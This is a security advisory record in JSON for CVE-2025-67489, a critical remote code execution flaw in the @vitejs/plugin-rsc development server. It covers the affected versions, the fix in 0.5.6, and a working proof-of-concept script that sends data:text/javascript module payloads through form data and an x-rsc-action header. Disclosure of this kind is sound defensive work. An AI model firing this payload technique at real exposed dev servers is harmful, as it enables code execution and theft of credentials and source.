CVE-2025-67489: @vitejs/plugin rsc Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j76j-5p5g-9wfr",
  "modified" : "2025-12-09T21:37:59Z",
  "published" : "2025-12-08T22:16:31Z",
  "aliases" : [ "CVE-2025-67489" ],
  "summary" : "@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server",
  "details" : "## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\"  in server console\n\n```js\n// [poc.js]\nconst payload = {\n  0: [\"$F1\"],\n  1: { id: \"data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n  fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';\nconst response = fetch(serverUrl, {\n  method: \"POST\",\n  headers: {\n    \"x-rsc-action\": \"data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# \",\n  },\n  body: fd,\n})\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vitejs/plugin-rsc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.5.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-67489"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vitejs/vite-plugin-react"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-08T22:16:31Z",
    "nvd_published_at" : "2025-12-09T21:16:00Z"
  }
}